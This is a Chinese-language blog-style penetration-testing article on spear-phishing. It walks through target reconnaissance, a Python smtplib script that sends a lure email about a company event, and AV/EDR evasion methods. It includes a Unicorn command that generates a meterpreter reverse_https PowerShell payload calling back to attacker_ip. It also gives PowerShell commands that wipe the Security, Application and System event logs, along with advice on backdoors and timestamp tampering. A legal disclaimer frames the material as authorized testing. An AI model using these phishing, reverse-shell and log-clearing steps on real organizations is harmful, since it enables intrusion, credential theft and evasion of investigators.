0x01 社工铓鱼攻击的艺术

声明：本文仅限授权安全测试，供安全研究人员学习。

有一次，我在进行一次渗透测试评估时，了解到目标公司对外部网络的防御非常严密，传统的网络攻击手段几乎无从下手。这时，我想到了利用社工铓鱼攻击这种技术来打开突破口。铓鱼攻击是一种高级的社交工程攻击，专门针对特定目标进行设计，诱骗受害者执行某些动作，比如点击恶意链接或下载恶意附件。

攻击原理

黑客示意图

社工铓鱼攻击的成功，很大程度上依赖于对目标的详细了解。攻击者通过收集目标的公开信息，量身定制攻击场景，使攻击看起来更加真实可信。常用的载体包括电子邮件、即时消息、社交媒体平台等。

攻击的核心在于伪造可信的身份及内容。比如，伪装成公司内部邮件，或者模仿客户的邮件格式，内容中可能会包含紧急事项、优惠活动等，诱使受害者快速做出决策。

目标环境搭建与信息收集

在实战中，我通常会先搭建一个模拟的目标环境，进行攻击练习。在这次攻击中，我使用了以下工具：

  • VirtualBox：用于创建虚拟机，模拟目标环境。
  • Kali Linux：作为攻击机，内置丰富的攻防工具。
  • Setoolkit：一个强大的社交工程攻击框架。
  • PhishingFrenzy：用于创建、管理铓鱼活动的工具。

信息收集

黑客示意图

为了模拟真实的攻击场景，我需要先对目标公司进行信息收集，包括组织架构、员工信息、邮件格式、常用软件等。这可以通过以下途径获取：

  • 公司官网：查看公司简介、新闻动态。
  • 社交媒体：LinkedIn、Facebook、Twitter等平台上搜索员工信息。
  • Google Dorks：利用Google高级搜索语法，查找可能泄露的敏感信息。

信息收集阶段非常重要，它将帮助我们构建一个可信的攻击场景。假设我们发现目标公司近期正在举办一个大型活动，我们可以以此为切入点设计攻击邮件。

铓鱼邮件的精心制作

POC代码：邮件生成

我们需要编写一个Python脚本，用于自动化生成攻击邮件。邮件内容将包含一个指向我们恶意网站的链接，或是一个携带恶意宏的Word文档。

<pre><code class="language-python">import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText

def send_phishing_email(to_address):

发件人信息

from_address = &#039;[email protected]&#039;

邮件服务器信息

smtp_server = &#039;smtp.example.com&#039; smtp_port = 587 smtp_user = &#039;[email protected]&#039; smtp_password = &#039;password&#039;

构建邮件内容

msg = MIMEMultipart() msg[&#039;From&#039;] = from_address msg[&#039;To&#039;] = to_address msg[&#039;Subject&#039;] = &#039;重要通知：公司活动安排&#039;

body = &#039;您好，我们公司将于下周五举办一场重要活动，详情请查阅邮件附件。&#039; msg.attach(MIMEText(body, &#039;plain&#039;))

连接SMTP服务器，并发送邮件

try: server = smtplib.SMTP(smtp_server, smtp_port) server.starttls() server.login(smtp_user, smtp_password) server.send_message(msg) print(&#039;邮件发送成功&#039;) except Exception as e: print(f&#039;邮件发送失败: {e}&#039;) finally: server.quit()

示例调用

send_phishing_email(&#039;[email protected]&#039;)</code></pre>

在这段代码中，我使用了Python的smtplib库来发送邮件。邮件中包含了一个诱导性的消息，要求受害者打开附件查看活动安排。实际环境中，我们可以将附件替换为一个恶意文件，或是电子邮件中插入一个指向钓鱼网站的链接。

黑客示意图

绕过EDR/AV的免杀技巧

为了确保我们的载荷能够成功执行而不被检测到，我们需要对恶意代码进行免杀处理。以下是一些常见的免杀技巧：

  • 混淆代码：通过混淆器工具，将代码转换为难以阅读和分析的形式，绕过静态检测。
  • 动态加密：将载荷动态加密，在运行时解密执行，避免被签名检测。
  • 内存加载：使用反射技术直接在内存中加载并执行恶意代码，绕过文件系统检测。

在实战中，我会使用工具如Veil或Unicorn来生成这些免杀Payload。以下是使用Unicorn生成Powershell免杀载荷的命令示例：

<pre><code class="language-bash">python unicorn.py windows/meterpreter/reverse_https &quot;http://attacker_ip:443&quot; </code></pre>

生成的PowerShell脚本将直接在目标内存中执行，避免触发传统的文件检测。

抚平痕迹：痕迹清除技术

一旦目标已经被攻破，为了防止被检测和溯源，我们需要及时清除攻击痕迹。以下是一些常用的痕迹清除技术：

  • 日志清理：通过删除或篡改系统日志，隐藏入侵痕迹。
  • 时间修改：修改文件的时间戳，以掩盖实际的操作时间。
  • 后门植入：在目标系统中植入持久化后门，以便后续访问。

黑客示意图

在Windows环境中，我们可以使用下面的PowerShell命令来清除事件日志：

<pre><code class="language-powershell">Clear-EventLog -LogName Security Clear-EventLog -LogName Application Clear-EventLog -LogName System</code></pre>

这种方式可以有效删除大部分安全相关的日志记录。但是需要注意的是，过于频繁的日志清理可能引起管理员的注意，因此选择适当的时机和频率是关键。

经验分享与反思

在这次实战中，我深刻体会到信息收集的重要性。准确的目标信息可以显著提高攻击的成功率。此外，免杀技术和痕迹清除也是保证攻击隐蔽性的重要环节。

然而，攻击的成功不仅仅依赖于技术，更重要的是对目标的理解和策略的制定。社工铓鱼攻击要求攻击者具备一定的心理学基础，能够设计出让目标难以拒绝的攻击情境。

合法声明：本文中涉及的攻击技术仅用于授权的安全测试与研究。未经授权的攻击行为可能会违反法律法规，请勿用于非法用途。

这样的一次实战经历，让我更加意识到了网络安全的复杂性和多面性。希望本文能为大家带来一些启示，在合规合法的前提下，不断提升自己的攻防技能。